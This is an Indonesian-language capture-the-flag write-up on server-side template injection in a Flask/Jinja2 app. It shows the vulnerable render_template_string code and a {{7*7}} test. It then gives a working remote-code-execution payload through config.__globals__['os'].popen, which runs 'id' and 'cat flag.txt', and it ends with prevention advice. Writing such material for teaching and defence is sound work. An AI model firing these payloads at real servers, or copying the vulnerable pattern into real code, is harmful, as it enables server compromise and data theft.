

WEB 2 – SSTI (Server Side Template Injection)

Kita bahas WEB 2 – SSTI (Server Side Template Injection) secara mendalam, teknis, dan step-by-step eksploitasi.

Framework yang digunakan adalah Flask, dan templating engine default-nya adalah Jinja2.

1. Analisis Source Code

```
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get("name")
    return render_template_string("Hello " + name)
```

Masalah Utama

Baris berbahaya:

```
return render_template_string("Hello " + name)
```

Kenapa berbahaya?

Karena:

- name berasal dari user (GET parameter)
- Nilai tersebut langsung digabung ke template
- Lalu dirender oleh **Jinja2**

Artinya:

User bisa mengirim sintaks Jinja2 dan server akan mengeksekusinya.

2. Apa Itu SSTI?

SSTI (Server Side Template Injection) terjadi ketika:

User dapat menyisipkan kode template yang dieksekusi di server.

Karena template dievaluasi di sisi server, attacker bisa:

- Menjalankan ekspresi matematika

- Mengakses objek internal Python
- Menjalankan command OS
- Membaca file

3. Proof of Concept

Misalnya kita akses: **http://ctf.local/?name={{7*7}}**

Server memproses: **render_template_string("Hello " + "{{7*7}}")**

Jinja2 akan mengevaluasi: **Hello 49**

Ini membuktikan template injection berhasil.

4. Kenapa Bisa Eksekusi Python?

Karena Jinja2 punya akses ke:

- config
- class internal
- globals
- builtins
- os module

Jinja2 memungkinkan akses object traversal.

5. Eskalasi Menjadi RCE (Remote Code Execution)

Payload umum:

```
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```

Penjelasan:

Bagian	Fungsi
config	objek Flask
class	ambil class
init	method constructor
globals	akses global scope
['os']	ambil module os
popen()	jalankan command
read()	ambil output

Jika berhasil, server akan mengeksekusi command sistem.

6. Membaca File Flag

Misalnya ada file flag.txt.

Payload:

```
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
```

Output:

flag{ssti_master}

7. Kenapa render_template_string() Berbahaya?

Karena ia merender string mentah sebagai template.

Berbeda dengan:

```
return render_template("index.html", name=name)
```

Yang hanya memasukkan variabel, bukan menjalankan template dari user.

8. Ilustrasi Alur Serangan

User input: {{7*7}}

Server: "Hello {{7*7}}"

Jinja2: Evaluasi 7*7

Output:

Hello 49

Jika payload lebih kompleks:

→ akses __globals__

→ akses os

→ jalankan command

9. Cara Mencegah SSTI

- **Cara Salah (Rentan)**

```
render_template_string("Hello " + name)
```

- **Cara Aman**

Gunakan template file + parameter binding:

```
return render_template("index.html", name=name)
```

Di HTML:

```
Hello {{ name }}
```

What is this?

Karena:

- Jinja2 hanya menampilkan variabel
- Tidak mengeksekusi kode dari user

10. Kenapa SSTI Berbahaya di Dunia Nyata?

Karena bisa menyebabkan:

- RCE (Remote Code Execution)
- File disclosure
- Data leakage
- Full server compromise

Dan termasuk kategori tinggi di referensi keamanan seperti dari OWASP.

Ringkasan Kerentanan

Tahap	Hasil
{{7*7}}	49
Akses object	Bisa
Akses os	Bisa
Baca file	Bisa
Eksekusi command	Bisa